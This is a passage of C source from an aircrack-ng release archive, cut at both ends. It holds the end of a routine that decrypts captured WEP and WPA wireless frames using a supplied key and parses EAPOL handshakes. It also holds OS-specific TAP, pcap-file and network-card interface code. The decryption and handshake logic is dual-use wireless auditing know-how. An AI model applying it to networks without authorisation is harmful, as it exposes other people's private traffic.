h80211, pkh.caplen - 4 ) == 1 ) { pkh.len -= 4; pkh.caplen -= 4; } /* check if data */ if( ( h80211[0] & 0x0C ) != 0x08 ) continue; /* check minimum size */ z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if( z + 16 > pkh.caplen ) continue; /* check QoS header */ if ( GET_SUBTYPE(h80211[0]) == IEEE80211_FC0_SUBTYPE_QOS ) { z += 2; } /* check the BSSID */ switch( h80211[1] & 3 ) { case 0: memcpy( bssid, h80211 + 16, 6 ); break; //Adhoc case 1: memcpy( bssid, h80211 + 4, 6 ); break; //ToDS case 2: memcpy( bssid, h80211 + 10, 6 ); break; //FromDS case 3: memcpy( bssid, h80211 + 10, 6 ); break; //WDS -> Transmitter taken as BSSID } if( memcmp( opt.bssid, ZERO, 6 ) != 0 ) if( memcmp( opt.bssid, bssid, 6 ) != 0 ) continue; /* locate the station's MAC address */ switch( h80211[1] & 3 ) { case 1: memcpy( stmac, h80211 + 10, 6 ); break; case 2: memcpy( stmac, h80211 + 4, 6 ); break; case 3: memcpy( stmac, h80211 + 10, 6 ); break; default: continue; } st_prv = NULL; st_cur = st_1st; while( st_cur != NULL ) { if( ! memcmp( st_cur->stmac, stmac, 6 ) ) break; st_prv = st_cur; st_cur = st_cur->next; } /* if it's a new station, add it */ if( st_cur == NULL ) { if( ! ( st_cur = (struct WPA_ST_info *) malloc( sizeof( struct WPA_ST_info ) ) ) ) { perror( "malloc failed" ); break; } memset( st_cur, 0, sizeof( struct WPA_ST_info ) ); if( st_1st == NULL ) st_1st = st_cur; else st_prv->next = st_cur; memcpy( st_cur->stmac, stmac, 6 ); memcpy( st_cur->bssid, bssid, 6 ); } /* check if we haven't already processed this packet */ crc = calc_crc_buf( h80211 + z, pkh.caplen - z ); if( ( h80211[1] & 3 ) == 2 ) { if( st_cur->t_crc == crc ) continue; st_cur->t_crc = crc; } else { if( st_cur->f_crc == crc ) continue; st_cur->f_crc = crc; } /* check the SNAP header to see if data is encrypted * * as unencrypted data begins with AA AA 03 00 00 00 */ if( h80211[z] != h80211[z + 1] || h80211[z + 2] != 0x03 ) { /* check the extended IV flag */ if( ( h80211[z + 3] & 0x20 ) == 0 ) { unsigned char K[64]; stats.nb_wep++; if( opt.crypt != CRYPT_WEP ) continue; memcpy( K, h80211 + z, 3 ); memcpy( K + 3, opt.wepkey, opt.weplen ); if(opt.store_bad) memcpy(buffer2, h80211, pkh.caplen); if( decrypt_wep( h80211 + z + 4, pkh.caplen - z - 4, K, 3 + opt.weplen ) == 0 ) { if(opt.store_bad) { stats.nb_bad++; memcpy(h80211, buffer2, pkh.caplen); if( write_packet( f_bad, &pkh, h80211 ) != 0 ) break; } continue; } /* WEP data packet was successfully decrypted, * * remove the WEP IV & ICV and write the data */ pkh.len -= 8; pkh.caplen -= 8; memmove( h80211 + z, h80211 + z + 4, pkh.caplen - z ); stats.nb_unwep++; h80211[1] &= 0xBF; if( write_packet( f_out, &pkh, h80211 ) != 0 ) break; } else { stats.nb_wpa++; if( opt.crypt != CRYPT_WPA ) continue; /* if the PTK is valid, try to decrypt */ if( st_cur == NULL || ! st_cur->valid_ptk ) continue; if( st_cur->keyver == 1 ) { if( decrypt_tkip( h80211, pkh.caplen, st_cur->ptk + 32 ) == 0 ) continue; pkh.len -= 20; pkh.caplen -= 20; } else { if( decrypt_ccmp( h80211, pkh.caplen, st_cur->ptk + 32 ) == 0 ) continue; pkh.len -= 16; pkh.caplen -= 16; } /* WPA data packet was successfully decrypted, * * remove the WPA Ext.IV & MIC, write the data */ /* can overlap */ memmove( h80211 + z, h80211 + z + 8, pkh.caplen - z ); stats.nb_unwpa++; h80211[1] &= 0xBF; if( write_packet( f_out, &pkh, h80211 ) != 0 ) break; } } else { /* check ethertype == EAPOL */ z += 6; if( h80211[z] != 0x88 || h80211[z + 1] != 0x8E ) { stats.nb_plain++; if( opt.crypt != CRYPT_NONE ) continue; if( write_packet( f_out, &pkh, h80211 ) != 0 ) break; else continue; } z += 2; /* type == 3 (key), desc. == 254 (WPA) or 2 (RSN) */ if( h80211[z + 1] != 0x03 || ( h80211[z + 4] != 0xFE && h80211[z + 4] != 0x02 ) ) continue; /* frame 1: Pairwise == 1, Install == 0, Ack == 1, MIC == 0 */ if( ( h80211[z + 6] & 0x08 ) != 0 && ( h80211[z + 6] & 0x40 ) == 0 && ( h80211[z + 6] & 0x80 ) != 0 && ( h80211[z + 5] & 0x01 ) == 0 ) { /* set authenticator nonce */ memcpy( st_cur->anonce, &h80211[z + 17], 32 ); } /* frame 2 or 4: Pairwise == 1, Install == 0, Ack == 0, MIC == 1 */ if( ( h80211[z + 6] & 0x08 ) != 0 && ( h80211[z + 6] & 0x40 ) == 0 && ( h80211[z + 6] & 0x80 ) == 0 && ( h80211[z + 5] & 0x01 ) != 0 ) { if( memcmp( &h80211[z + 17], ZERO, 32 ) != 0 ) { /* set supplicant nonce */ memcpy( st_cur->snonce, &h80211[z + 17], 32 ); } /* copy the MIC & eapol frame */ st_cur->eapol_size = ( h80211[z + 2] << 8 ) + h80211[z + 3] + 4; if (pkh.len - z < st_cur->eapol_size || st_cur->eapol_size == 0 || st_cur->eapol_size > sizeof(st_cur->eapol)) { // Ignore the packet trying to crash us. st_cur->eapol_size = 0; continue; } memcpy( st_cur->keymic, &h80211[z + 81], 16 ); memcpy( st_cur->eapol, &h80211[z], st_cur->eapol_size ); memset( st_cur->eapol + 81, 0, 16 ); /* copy the key descriptor version */ st_cur->keyver = h80211[z + 6] & 7; } /* frame 3: Pairwise == 1, Install == 1, Ack == 1, MIC == 1 */ if( ( h80211[z + 6] & 0x08 ) != 0 && ( h80211[z + 6] & 0x40 ) != 0 && ( h80211[z + 6] & 0x80 ) != 0 && ( h80211[z + 5] & 0x01 ) != 0 ) { if( memcmp( &h80211[z + 17], ZERO, 32 ) != 0 ) { /* set authenticator nonce */ memcpy( st_cur->anonce, &h80211[z + 17], 32 ); } /* copy the MIC & eapol frame */ st_cur->eapol_size = ( h80211[z + 2] << 8 ) + h80211[z + 3] + 4; if (pkh.len - z < st_cur->eapol_size || st_cur->eapol_size == 0 || st_cur->eapol_size > sizeof(st_cur->eapol)) { // Ignore the packet trying to crash us. st_cur->eapol_size = 0; continue; } memcpy( st_cur->keymic, &h80211[z + 81], 16 ); memcpy( st_cur->eapol, &h80211[z], st_cur->eapol_size ); memset( st_cur->eapol + 81, 0, 16 ); /* copy the key descriptor version */ st_cur->keyver = h80211[z + 6] & 7; } st_cur->valid_ptk = calc_ptk( st_cur, opt.pmk ); } } while (st_1st != NULL) { st_cur = st_1st->next; free(st_1st); st_1st = st_cur; } fclose( f_in ); fclose( f_out ); if(opt.store_bad) fclose( f_bad ); /* write some statistics */ printf( "\33[KTotal number of packets read % 8ld\n" "Total number of WEP data packets % 8ld\n" "Total number of WPA data packets % 8ld\n" "Number of plaintext data packets % 8ld\n" "Number of decrypted WEP packets % 8ld\n" "Number of corrupted WEP packets % 8ld\n" "Number of decrypted WPA packets % 8ld\n", stats.nb_read, stats.nb_wep, stats.nb_wpa, stats.nb_plain, stats.nb_unwep, stats.nb_bad, stats.nb_unwpa ); return( 0 ); } aircrack-ng-1.2-rc4/src/osdep/0000755000000000000000000000000012660222375014627 5ustar rootrootaircrack-ng-1.2-rc4/src/osdep/darwin_tap.c0000644000000000000000000001270111321204141017104 0ustar rootroot /* * Copyright (c) 2009, Kyle Fuller , based upon * freebsd_tap.c by Andrea Bittau * * OS dependent API for Darwin. TAP routines * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include #include #include #include #include #include #include #include #include #include "osdep.h" #define MAX_TAP_DEVS 16 struct tip_darwin { int tf_fd; int tf_ioctls; struct ifreq tf_ifr; char tf_name[MAX_IFACE_NAME]; int tf_destroy; }; static int ti_do_open_darwin(struct tif *ti, char *name) { int fd = -1; char iface[12]; struct stat st; struct tip_darwin *priv = ti_priv(ti); int s; unsigned int flags; struct ifreq *ifr; int i; /* open tap */ if (name) { fd = open(name, O_RDWR); } else { priv->tf_destroy = 1; /* we create, we destroy */ for (i = 0; i < MAX_TAP_DEVS; i++) { snprintf(iface, sizeof(iface), "/dev/tap%d", i); fd = open(iface, O_RDWR); if (fd != -1) { break; } } } if (fd == -1) { return -1; } /* get name */ if(fstat(fd, &st) == -1) goto err; snprintf(priv->tf_name, sizeof(priv->tf_name)-1, "%s", devname(st.st_rdev, S_IFCHR)); /* bring iface up */ s = socket(PF_INET, SOCK_DGRAM, 0); if (s == -1) goto err; priv->tf_ioctls = s; /* get flags */ ifr = &priv->tf_ifr; memset(ifr, 0, sizeof(*ifr)); snprintf(ifr->ifr_name, sizeof(ifr->ifr_name)-1, "%s", priv->tf_name); if (ioctl(s, SIOCGIFFLAGS, ifr) == -1) goto err2; flags = (ifr->ifr_flags & 0xffff); /* set flags */ flags |= IFF_UP; ifr->ifr_flags = flags & 0xffff; if (ioctl(s, SIOCSIFFLAGS, ifr) == -1) goto err2; return fd; err: /* XXX destroy */ close(fd); return -1; err2: close(s); goto err; } static void ti_do_free(struct tif *ti) { struct tip_darwin *priv = ti_priv(ti); free(priv); free(ti); } static void ti_destroy(struct tip_darwin *priv) { ioctl(priv->tf_ioctls, SIOCIFDESTROY, &priv->tf_ifr); } static void ti_close_darwin(struct tif *ti) { struct tip_darwin *priv = ti_priv(ti); if (priv->tf_destroy) ti_destroy(priv); close(priv->tf_fd); close(priv->tf_ioctls); ti_do_free(ti); } static char *ti_name_darwin(struct tif *ti) { struct tip_darwin *priv = ti_priv(ti); return priv->tf_name; } static int ti_set_mtu_darwin(struct tif *ti, int mtu) { struct tip_darwin *priv = ti_priv(ti); priv->tf_ifr.ifr_mtu = mtu; return ioctl(priv->tf_ioctls, SIOCSIFMTU, &priv->tf_ifr); } static int ti_set_mac_darwin(struct tif *ti, unsigned char *mac) { struct tip_darwin *priv = ti_priv(ti); struct ifreq *ifr = &priv->tf_ifr; ifr->ifr_addr.sa_family = AF_LINK; ifr->ifr_addr.sa_len = 6; memcpy(ifr->ifr_addr.sa_data, mac, 6); return ioctl(priv->tf_ioctls, SIOCSIFLLADDR, ifr); } static int ti_set_ip_darwin(struct tif *ti, struct in_addr *ip) { struct tip_darwin *priv = ti_priv(ti); struct ifaliasreq ifra; struct sockaddr_in *s_in; /* assume same size */ memset(&ifra, 0, sizeof(ifra)); strcpy(ifra.ifra_name, priv->tf_ifr.ifr_name); s_in = (struct sockaddr_in *) &ifra.ifra_addr; s_in->sin_family = PF_INET; s_in->sin_addr = *ip; s_in->sin_len = sizeof(*s_in); return ioctl(priv->tf_ioctls, SIOCAIFADDR, &ifra); } static int ti_fd_darwin(struct tif *ti) { struct tip_darwin *priv = ti_priv(ti); return priv->tf_fd; } static int ti_read_darwin(struct tif *ti, void *buf, int len) { return read(ti_fd(ti), buf, len); } static int ti_write_darwin(struct tif *ti, void *buf, int len) { return write(ti_fd(ti), buf, len); } static struct tif *ti_open_darwin(char *iface) { struct tif *ti; struct tip_darwin *priv; int fd; /* setup ti struct */ ti = ti_alloc(sizeof(*priv)); if (!ti) return NULL; ti->ti_name = ti_name_darwin; ti->ti_set_mtu = ti_set_mtu_darwin; ti->ti_close = ti_close_darwin; ti->ti_fd = ti_fd_darwin; ti->ti_read = ti_read_darwin; ti->ti_write = ti_write_darwin; ti->ti_set_mac = ti_set_mac_darwin; ti->ti_set_ip = ti_set_ip_darwin; /* setup iface */ fd = ti_do_open_darwin(ti, iface); if (fd == -1) { ti_do_free(ti); return NULL; } /* setup private state */ priv = ti_priv(ti); priv->tf_fd = fd; return ti; } struct tif *ti_open(char *iface) { return ti_open_darwin(iface); } aircrack-ng-1.2-rc4/src/osdep/netbsd_tap.c0000644000000000000000000001120010761053203017100 0ustar rootroot /* * Copyright (c) 2007, 2008, Andrea Bittau * * OS dependent API for NetBSD. TAP routines * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include #include #include #include #include #include #include #include #include #include "osdep.h" struct tip_nbsd { int tn_fd; int tn_ioctls; struct ifreq tn_ifr; char tn_name[MAX_IFACE_NAME]; int tn_destroy; }; static int ti_do_open_nbsd(struct tif *ti, char *name) { int fd; char *iface = "/dev/tap"; struct stat st; struct tip_nbsd *priv = ti_priv(ti); int s; unsigned int flags; struct ifreq *ifr; /* open tap */ if (name) iface = name; else priv->tn_destroy = 1; /* we create, we destroy */ fd = open(iface, O_RDWR); if (fd == -1) return -1; /* get name */ if(fstat(fd, &st) == -1) goto err; snprintf(priv->tn_name, sizeof(priv->tn_name)-1, "%s", devname(st.st_rdev, S_IFCHR)); /* bring iface up */ s = socket(PF_INET, SOCK_DGRAM, 0); if (s == -1) goto err; priv->tn_ioctls = s; /* get flags */ ifr = &priv->tn_ifr; memset(ifr, 0, sizeof(*ifr)); snprintf(ifr->ifr_name, sizeof(ifr->ifr_name)-1, "%s", priv->tn_name); if (ioctl(s, SIOCGIFFLAGS, ifr) == -1) goto err2; flags = ifr->ifr_flags; /* set flags */ flags |= IFF_UP; ifr->ifr_flags = flags & 0xffff; if (ioctl(s, SIOCSIFFLAGS, ifr) == -1) goto err2; return fd; err: /* XXX destroy */ close(fd); return -1; err2: close(s); goto err; } static void ti_do_free(struct tif *ti) { struct tip_nbsd *priv = ti_priv(ti); free(priv); free(ti); } static void ti_destroy(struct tip_nbsd *priv) { ioctl(priv->tn_ioctls, SIOCIFDESTROY, &priv->tn_ifr); } static void ti_close_nbsd(struct tif *ti) { struct tip_nbsd *priv = ti_priv(ti); if (priv->tn_destroy) ti_destroy(priv); close(priv->tn_fd); close(priv->tn_ioctls); ti_do_free(ti); } static char *ti_name_nbsd(struct tif *ti) { struct tip_nbsd *priv = ti_priv(ti); return priv->tn_name; } static int ti_set_mtu_nbsd(struct tif *ti, int mtu) { struct tip_nbsd *priv = ti_priv(ti); priv->tn_ifr.ifr_mtu = mtu; return ioctl(priv->tn_ioctls, SIOCSIFMTU, &priv->tn_ifr); } static int ti_set_mac_nbsd(struct tif *ti, unsigned char *mac) { struct tip_nbsd *priv = ti_priv(ti); struct ifreq *ifr = &priv->tn_ifr; ifr->ifr_addr.sa_family = AF_LINK; ifr->ifr_addr.sa_len = 6; memcpy(ifr->ifr_addr.sa_data, mac, 6); return ioctl(priv->tn_ioctls, SIOCSIFADDR, ifr); } static int ti_set_ip_nbsd(struct tif *ti, struct in_addr *ip) { struct tip_nbsd *priv = ti_priv(ti); struct ifaliasreq ifra; struct sockaddr_in *s_in; /* assume same size */ memset(&ifra, 0, sizeof(ifra)); strncpy(ifra.ifra_name, priv->tn_ifr.ifr_name, IFNAMSIZ); s_in = (struct sockaddr_in *) &ifra.ifra_addr; s_in->sin_family = PF_INET; s_in->sin_addr = *ip; s_in->sin_len = sizeof(*s_in); return ioctl(priv->tn_ioctls, SIOCAIFADDR, &ifra); } static int ti_fd_nbsd(struct tif *ti) { struct tip_nbsd *priv = ti_priv(ti); return priv->tn_fd; } static int ti_read_nbsd(struct tif *ti, void *buf, int len) { return read(ti_fd(ti), buf, len); } static int ti_write_nbsd(struct tif *ti, void *buf, int len) { return write(ti_fd(ti), buf, len); } static struct tif *ti_open_nbsd(char *iface) { struct tif *ti; struct tip_nbsd *priv; int fd; /* setup ti struct */ ti = ti_alloc(sizeof(*priv)); if (!ti) return NULL; ti->ti_name = ti_name_nbsd; ti->ti_set_mtu = ti_set_mtu_nbsd; ti->ti_close = ti_close_nbsd; ti->ti_fd = ti_fd_nbsd; ti->ti_read = ti_read_nbsd; ti->ti_write = ti_write_nbsd; ti->ti_set_mac = ti_set_mac_nbsd; ti->ti_set_ip = ti_set_ip_nbsd; /* setup iface */ fd = ti_do_open_nbsd(ti, iface); if (fd == -1) { ti_do_free(ti); return NULL; } /* setup private state */ priv = ti_priv(ti); priv->tn_fd = fd; return ti; } struct tif *ti_open(char *iface) { return ti_open_nbsd(iface); } aircrack-ng-1.2-rc4/src/osdep/file.c0000644000000000000000000001214412313371023015702 0ustar rootroot /* * Copyright (c) 2010 Andrea Bittau * * OS dependent API for using card via a pcap file. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include "osdep.h" #include "pcap.h" #include "radiotap/radiotap_iter.h" struct priv_file { int pf_fd; int pf_chan; int pf_rate; int pf_dtl; unsigned char pf_mac[6]; }; static int file_read(struct wif *wi, unsigned char *h80211, int len, struct rx_info *ri) { struct priv_file *pf = wi_priv(wi); struct pcap_pkthdr pkh; int rc; unsigned char buf[4096]; int off = 0; struct ieee80211_radiotap_header *rh; struct ieee80211_radiotap_iterator iter; rc = read(pf->pf_fd, &pkh, sizeof(pkh)); if (rc != sizeof(pkh)) return -1; if (pkh.caplen > sizeof(buf)) { printf("Bad caplen %d\n", pkh.caplen); return 0; } assert(pkh.caplen <= sizeof(buf)); rc = read(pf->pf_fd, buf, pkh.caplen); if (rc != (int) pkh.caplen) return -1; if (ri) memset(ri, 0, sizeof(*ri)); switch (pf->pf_dtl) { case LINKTYPE_IEEE802_11: off = 0; break; case LINKTYPE_RADIOTAP_HDR: rh = (struct ieee80211_radiotap_header*) buf; off = le16_to_cpu(rh->it_len); if (ieee80211_radiotap_iterator_init(&iter, rh, rc, NULL) < 0) return -1; while (ieee80211_radiotap_iterator_next(&iter) >= 0) { switch (iter.this_arg_index) { case IEEE80211_RADIOTAP_FLAGS: if (*iter.this_arg & IEEE80211_RADIOTAP_F_FCS) rc -= 4; break; } } break; case LINKTYPE_PRISM_HEADER: if (buf[7] == 0x40) off = 0x40; else off = *((int *)(buf + 4)); rc -= 4; break; case LINKTYPE_PPI_HDR: off = le16_to_cpu(*(unsigned short *)(buf + 2)); /* for a while Kismet logged broken PPI headers */ if (off == 24 && le16_to_cpu(*(unsigned short *)(buf + 8)) == 2 ) off = 32; break; case LINKTYPE_ETHERNET: printf("Ethernet packets\n"); return 0; default: errx(1, "Unknown DTL %d", pf->pf_dtl); break; } rc -= off; assert(rc >= 0); if (rc > len) rc = len; memcpy(h80211, &buf[off], rc); return rc; } static int file_get_mac(struct wif *wi, unsigned char *mac) { struct priv_file *pn = wi_priv(wi); memcpy(mac, pn->pf_mac, sizeof(pn->pf_mac)); return 0; } static int file_write(struct wif *wi, unsigned char *h80211, int len, struct tx_info *ti) { struct priv_file *pn = wi_priv(wi); if (h80211 && ti && pn) {} return len; } static int file_set_channel(struct wif *wi, int chan) { struct priv_file *pf = wi_priv(wi); pf->pf_chan = chan; return 0; } static int file_get_channel(struct wif *wi) { struct priv_file *pf = wi_priv(wi); return pf->pf_chan; } static int file_set_rate(struct wif *wi, int rate) { struct priv_file *pf = wi_priv(wi); pf->pf_rate = rate; return 0; } static int file_get_rate(struct wif *wi) { struct priv_file *pf = wi_priv(wi); return pf->pf_rate; } static int file_get_monitor(struct wif *wi) { if (wi) {} return 1; } static void file_close(struct wif *wi) { struct priv_file *pn = wi_priv(wi); if (pn->pf_fd) close(pn->pf_fd); free(wi); } static int file_fd(struct wif *wi) { struct priv_file *pf = wi_priv(wi); return pf->pf_fd; } struct wif *file_open(char *iface) { struct wif *wi; struct priv_file *pf; int fd; struct pcap_file_header pfh; int rc; if (strncmp(iface, "file://", 7) != 0) return NULL; /* setup wi struct */ wi = wi_alloc(sizeof(*pf)); if (!wi) return NULL; wi->wi_read = file_read; wi->wi_write = file_write; wi->wi_set_channel = file_set_channel; wi->wi_get_channel = file_get_channel; wi->wi_set_rate = file_set_rate; wi->wi_get_rate = file_get_rate; wi->wi_close = file_close; wi->wi_fd = file_fd; wi->wi_get_mac = file_get_mac; wi->wi_get_monitor = file_get_monitor; pf = wi_priv(wi); fd = open(iface + 7, O_RDONLY); if (fd == -1) err(1, "open()"); pf->pf_fd = fd; if ((rc = read(fd, &pfh, sizeof(pfh))) != sizeof(pfh)) goto __err; if (pfh.magic != TCPDUMP_MAGIC) goto __err; if (pfh.version_major != PCAP_VERSION_MAJOR || pfh.version_minor != PCAP_VERSION_MINOR) goto __err; pf->pf_dtl = pfh.linktype; return wi; __err: wi_close(wi); return (struct wif*) -1; } aircrack-ng-1.2-rc4/src/osdep/network.c0000644000000000000000000002315412626414554016475 0ustar rootroot /* * Copyright (c) 2007, 2008, Andrea Bittau * * OS dependent API for using card via network. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include #include #include #include #include #include #include #include #include #include "osdep.h" #include "network.h" #define QUEUE_MAX 666 struct netqueue { unsigned char q_buf[2048]; int q_len; struct netqueue *q_next; struct netqueue *q_prev; }; struct priv_net { int pn_s; struct netqueue pn_queue; struct netqueue pn_queue_free; int pn_queue_len; }; int net_send(int s, int command, void *arg, int len) { struct net_hdr *pnh; char *pktbuf; size_t pktlen; pktlen = sizeof(struct net_hdr) + len; pktbuf = (char*)calloc(sizeof(char), pktlen); if (pktbuf == NULL) { perror("calloc"); goto net_send_error; } pnh = (struct net_hdr*)pktbuf; pnh->nh_type = command; pnh->nh_len = htonl(len); memcpy(pktbuf + sizeof(struct net_hdr), arg, len); for (;;) { ssize_t rc = send(s, pktbuf, pktlen, 0); if ((size_t)rc == pktlen) break; if (rc == EAGAIN || rc == EWOULDBLOCK || rc == EINTR) continue; if (rc == ECONNRESET) printf("Connection reset while sending packet!\n"); goto net_send_error; } free(pktbuf); return 0; net_send_error: free(pktbuf); return -1; } int net_read_exact(int s, void *arg, int len) { ssize_t rc; int rlen = 0; char *buf = (char*)arg; while (rlen < len) { rc = recv(s, buf, (len - rlen), 0); if (rc < 1) { if (rc == -1 && (errno == EAGAIN || errno == EINTR)) { usleep(100); continue; } return -1; } buf += rc; rlen += rc; } return 0; } int net_get(int s, void *arg, int *len) { struct net_hdr nh; int plen; if (net_read_exact(s, &nh, sizeof(nh)) == -1) { return -1; } plen = ntohl(nh.nh_len); if (!(plen <= *len)) printf("PLEN %d type %d len %d\n", plen, nh.nh_type, *len); assert(plen <= *len && plen >= 0); *len = plen; if ((*len) && (net_read_exact(s, arg, *len) == -1)) { return -1; } return nh.nh_type; } static void queue_del(struct netqueue *q) { q->q_prev->q_next = q->q_next; q->q_next->q_prev = q->q_prev; } static void queue_add(struct netqueue *head, struct netqueue *q) { struct netqueue *pos = head->q_prev; q->q_prev = pos; q->q_next = pos->q_next; q->q_next->q_prev = q; pos->q_next = q; } #if 0 static int queue_len(struct netqueue *head) { struct netqueue *q = head->q_next; int i = 0; while (q != head) { i++; q = q->q_next; } return i; } #endif static struct netqueue *queue_get_slot(struct priv_net *pn) { struct netqueue *q = pn->pn_queue_free.q_next; if (q != &pn->pn_queue_free) { queue_del(q); return q; } if (pn->pn_queue_len++ > QUEUE_MAX) return NULL; return malloc(sizeof(*q)); } static void net_enque(struct priv_net *pn, void *buf, int len) { struct netqueue *q; q = queue_get_slot(pn); if (!q) return; q->q_len = len; assert((int) sizeof(q->q_buf) >= q->q_len); memcpy(q->q_buf, buf, q->q_len); queue_add(&pn->pn_queue, q); } static int net_get_nopacket(struct priv_net *pn, void *arg, int *len) { unsigned char buf[2048]; int l = sizeof(buf); int c; while (1) { l = sizeof(buf); c = net_get(pn->pn_s, buf, &l); if (c < 0) return c; if (c != NET_PACKET && c > 0) break; if(c > 0) net_enque(pn, buf, l); } assert(l <= *len); memcpy(arg, buf, l); *len = l; return c; } static int net_cmd(struct priv_net *pn, int command, void *arg, int alen) { uint32_t rc; int len; int cmd; if (net_send(pn->pn_s, command, arg, alen) == -1) { return -1; } len = sizeof(rc); cmd = net_get_nopacket(pn, &rc, &len); if (cmd == -1) { return -1; } assert(cmd == NET_RC); assert(len == sizeof(rc)); return ntohl(rc); } static int queue_get(struct priv_net *pn, void *buf, int len) { struct netqueue *head = &pn->pn_queue; struct netqueue *q = head->q_next; if (q == head) return 0; assert(q->q_len <= len); memcpy(buf, q->q_buf, q->q_len); queue_del(q); queue_add(&pn->pn_queue_free, q); return q->q_len; } static int net_read(struct wif *wi, unsigned char *h80211, int len, struct rx_info *ri) { struct priv_net *pn = wi_priv(wi); uint32_t buf[512]; // 512 * 4 = 2048 unsigned char *bufc = (unsigned char*)buf; int cmd; int sz = sizeof(*ri); int l; int ret; /* try queue */ l = queue_get(pn, buf, sizeof(buf)); if (!l) { /* try reading form net */ l = sizeof(buf); cmd = net_get(pn->pn_s, buf, &l); if (cmd == -1) return -1; if (cmd == NET_RC) { ret = ntohl((buf[0])); return ret; } assert(cmd == NET_PACKET); } /* XXX */ if (ri) { // re-assemble 64-bit integer ri->ri_mactime = __be64_to_cpu(((uint64_t)buf[0] << 32 || buf[1] )); ri->ri_power = __be32_to_cpu(buf[2]); ri->ri_noise = __be32_to_cpu(buf[3]); ri->ri_channel = __be32_to_cpu(buf[4]); ri->ri_freq = __be32_to_cpu(buf[5]); ri->ri_rate = __be32_to_cpu(buf[6]); ri->ri_antenna = __be32_to_cpu(buf[7]); } l -= sz; assert(l > 0); if (l > len) l = len; memcpy(h80211, &bufc[sz], l); return l; } static int net_get_mac(struct wif *wi, unsigned char *mac) { struct priv_net *pn = wi_priv(wi); uint32_t buf[2]; // only need 6 bytes, this provides 8 int cmd; int sz = 6; if (net_send(pn->pn_s, NET_GET_MAC, NULL, 0) == -1) return -1; cmd = net_get_nopacket(pn, buf, &sz); if (cmd == -1) return -1; if (cmd == NET_RC) return ntohl(buf[0]); assert(cmd == NET_MAC); assert(sz == 6); memcpy(mac, buf, 6); return 0; } static int net_write(struct wif *wi, unsigned char *h80211, int len, struct tx_info *ti) { struct priv_net *pn = wi_priv(wi); int sz = sizeof(*ti); unsigned char buf[2048]; unsigned char *ptr = buf; /* XXX */ if (ti) memcpy(ptr, ti, sz); else memset(ptr, 0, sizeof(*ti)); ptr += sz; memcpy(ptr, h80211, len); sz += len; return net_cmd(pn, NET_WRITE, buf, sz); } static int net_set_channel(struct wif *wi, int chan) { uint32_t c = htonl(chan); return net_cmd(wi_priv(wi), NET_SET_CHAN, &c, sizeof(c)); } static int net_get_channel(struct wif *wi) { struct priv_net *pn = wi_priv(wi); return net_cmd(pn, NET_GET_CHAN, NULL, 0); } static int net_set_rate(struct wif *wi, int rate) { uint32_t c = htonl(rate); return net_cmd(wi_priv(wi), NET_SET_RATE, &c, sizeof(c)); } static int net_get_rate(struct wif *wi) { struct priv_net *pn = wi_priv(wi); return net_cmd(pn, NET_GET_RATE, NULL, 0); } static int net_get_monitor(struct wif *wi) { return net_cmd(wi_priv(wi), NET_GET_MONITOR, NULL, 0); } static void do_net_free(struct wif *wi) { assert(wi->wi_priv); free(wi->wi_priv); wi->wi_priv = 0; free(wi); } static void net_close(struct wif *wi) { struct priv_net *pn = wi_priv(wi); close(pn->pn_s); do_net_free(wi); } static int get_ip_port(char *iface, char *ip, const int ipsize) { char *host; char *ptr; int port = -1; struct in_addr addr; host = strdup(iface); if (!host) return -1; ptr = strchr(host, ':'); if (!ptr) goto out; *ptr++ = 0; if (!inet_aton(host, &addr)) goto out; /* XXX resolve hostname */ assert(strlen(host) <= 15); strncpy(ip, host, ipsize); port = atoi(ptr); out: free(host); return port; } static int handshake(int s) { if (s) {} /* XXX unused */ /* XXX do a handshake */ return 0; } static int do_net_open(char *iface) { int s, port; char ip[16]; struct sockaddr_in s_in; port = get_ip_port(iface, ip, sizeof(ip)-1); if (port == -1) return -1; s_in.sin_family = PF_INET; s_in.sin_port = htons(port); if (!inet_aton(ip, &s_in.sin_addr)) return -1; if ((s = socket(s_in.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1) return -1; printf("Connecting to %s port %d...\n", ip, port); if (connect(s, (struct sockaddr*) &s_in, sizeof(s_in)) == -1) { close(s); printf("Failed to connect\n"); return -1; } if (handshake(s) == -1) { close(s); printf("Failed to connect - handshake failed\n"); return -1; } printf("Connection successful\n"); return s; } static int net_fd(struct wif *wi) { struct priv_net *pn = wi_priv(wi); return pn->pn_s; } struct wif *net_open(char *iface) { struct wif *wi; struct priv_net *pn; int s; /* setup wi struct */ wi = wi_alloc(sizeof(*pn)); if (!wi) return NULL; wi->wi_read = net_read; wi->wi_write = net_write; wi->wi_set_channel = net_set_channel; wi->wi_get_channel = net_get_channel; 